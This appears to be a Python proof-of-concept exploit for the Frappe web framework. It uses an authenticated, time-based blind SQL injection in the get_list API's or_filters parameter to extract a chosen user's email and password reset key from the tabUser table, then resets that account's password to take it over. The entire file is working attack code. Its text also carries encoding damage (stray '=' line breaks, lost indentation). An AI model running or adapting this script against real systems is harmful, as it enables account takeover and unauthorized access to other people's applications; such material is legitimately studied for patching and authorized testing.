import requests
import urllib3
import os
import sys
import re
proxy = ""
os.environ['http_proxy'] = proxy
os.environ['HTTP_PROXY'] = proxy
os.environ['https_proxy'] = proxy
os.environ['HTTPS_PROXY'] = proxy
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
timeout = 30
inj_prefix = "[\"select(sleep("
inj_suffix = "))))\"]"
dec_begin = 48
dec_end = 57
ascii_begin = 32
ascii_end = 126
def keyboard_interrupt():
"""Handles keyboardinterrupt exceptions"""
print("\n\n[*] User requested an interrupt, exiting...")
exit(0)
def http_headers():
headers = {
'User-Agent': "Mozilla",
}
return headers
def get_session(url,headers,email,password):
data = {'cmd':'login',
'usr':email,
'pwd':password,
'device':'desktop'}
session = requests.session()
r = session.post(url,headers=headers,data=data,timeout=timeout,=
allow_redirects=True,verify=False)
if "full_name" in r.text:
return session
else:
print("[!] Unable to get an authenticated session, check credentials...")
exit(-1)
def sqli(url,session,headers,inj_str,sleep):
comment_inj_str = re.sub(" ","+",inj_str)
inj_params = {'cmd':'frappe.model.db_query.get_list',
'filters':'["idx=1"]',
'or_filters':inj_str,
'fields':'idx',
'doctype':'Report',
'order_by':'idx',
'group_by':'idx'}
inj_params_unencoded = "&".join("%s=%s" % (k,v) for k,v in inj_para=
ms.items())
=20
r = session.get(url,params=inj_params,headers=headers,timeout=t=
imeout,verify=False)
res = r.elapsed.total_seconds()
if res >= sleep:
return True
elif res < sleep:
return False
else:
print("[!] Something went wrong checking responses. Check responses manually. Exiting.")
exit(-1)
def get_data(url,session,headers,prefix,suffix,row,column,table,username,sleep):
extracted = ""
max_pos_len = 35
for pos in range(1,max_pos_len):
direction = ">"
inj_str = prefix + inj_prefix + str(sleep) + "-(if(ord(mid((select ifnull(cast(" + column + " as NCHAR),0x20) from " + table + " where username = '" + username + "' LIMIT " + str(row) + ",1)," + str(pos) + ",1))" =
+ direction + str(ascii_begin) + ",0," + str(sleep) + inj_suffix + suffix
if not sqli(url,session,headers,inj_str,sleep):
break
direction = "="
for guess in range(ascii_begin,ascii_end+1):
extracted_char = chr(guess)
inj_str = prefix + inj_prefix + str(sleep) + "-(if(ord(mid((select ifnull(cast(" + column + " as NCHAR),0x20) from " + table + " where username = '" + username + "' LIMIT " + str(row) + ",1)," + str(pos) + ",1))" + direction + str(guess) + ",0," + str(sleep) + inj_suffix + suffix
if sqli(url,session,headers,inj_str,sleep):
extracted += chr(guess)
print(extracted_char,end='',flush=True)
break
return extracted
def forgot_password(url,headers,sqli_email):
data = {'cmd':'frappe.core.doctype.user.user.reset_password',
'user':sqli_email}
r = requests.post(url,headers=headers,data=data,verify=False,al=
low_redirects=False,timeout=timeout)
if "Password reset instructions have been sent to your email" in r.text=
:
return r
def reset_account(url,headers,sqli_email,sqli_reset_key,new_password):
data = {'key':sqli_reset_key,
'old_password':'',
'new_password':new_password,
'logout_all_sessions':'0',
'cmd':'frappe.core.doctype.user.user.update_password'}
r = requests.post(url,headers=headers,data=data,verify=False,al=
low_redirects=False,timeout=timeout)
if r.status_code == 200:
return r
def main(argv):
if len(sys.argv) == 7:
email = sys.argv[1]
password = sys.argv[2]
username = sys.argv[3]
new_password = sys.argv[4]
url = sys.argv[5]
sleep = int(sys.argv[6])
else:
print("[*] Usage: " + sys.argv[0] + " <email_login> <passw_login> <username_to_reset> <new_password> <url> <sleep_in_seconds>")
print("[*] Example: " + sys.argv[0] + " hodorhodor@nowhere.local passpass1234@ admin password1234@ http://192.168.252.8/ 2\n")
exit(0)
headers = http_headers()
sleep = sleep / 2
prefix = ""
suffix = ""
table = 'tabUser'
columns = ['name','reset_password_key']
sqli_email = ""
sqli_reset_key = ""
rows = 1
try:
session = get_session(url,headers,email,password)
if session:
print("[*] Got an authenticated session, continue to perform SQL injection...")
=20
for column in columns:
print("[*] Retrieving " + str(rows) + " row of data using username '" + username + "' column '" + column + "' and '" + table + "' as table...")
for row in range(0,rows):
retrieved = get_data(url,session,headers,prefix,suffix,ro=
w,column,table,username,sleep)
print("\n[*] Retrieved value '" + retrieved + "' for username '" + username + "' column '" + column + "' in row " + str(row+1))
if column == 'name':
sqli_email = retrieved
if forgot_password(url,headers,sqli_email):
print("[*] Sent reset request for '" + sqli_email + "'"=
)
else:
print("[!] Something went wrong sending a reset request, check requests or listening mail server...")
exit(-1)
elif column == 'reset_password_key':
sqli_reset_key = retrieved
print("[+] Retrieved email '" + sqli_email + "' and reset key '" + =
sqli_reset_key + "'")
if reset_account(url,headers,sqli_email,sqli_reset_key,new_password=
):
print("[+} RESETTED ACCOUNT '" + sqli_email + "' WITH NEW PASSWORD '" + new_password + "'")
else:
print("[!] Something went wrong when attempting to reset account, check requests: perhaps password not complex enough?")
exit(-1)
=20
print("\n[+] Done!\n")
except requests.exceptions.Timeout:
print("[!] Timeout error\n")
exit(-1)
except requests.exceptions.TooManyRedirects:
print("[!] Too many redirects\n")
exit(-1)
except requests.exceptions.ConnectionError:
print("[!] Not able to connect to URL\n")
exit(-1)
except requests.exceptions.RequestException as e:
print("[!] " + str(e))
exit(-1)
except requests.exceptions.HTTPError as e:
print("[!] Failed with error code - " + str(e.code) + "\n")
exit(-1)
except KeyboardInterrupt:
keyboard_interrupt()
exit(-1)
if __name__ == "__main__":
main(sys.argv[1:])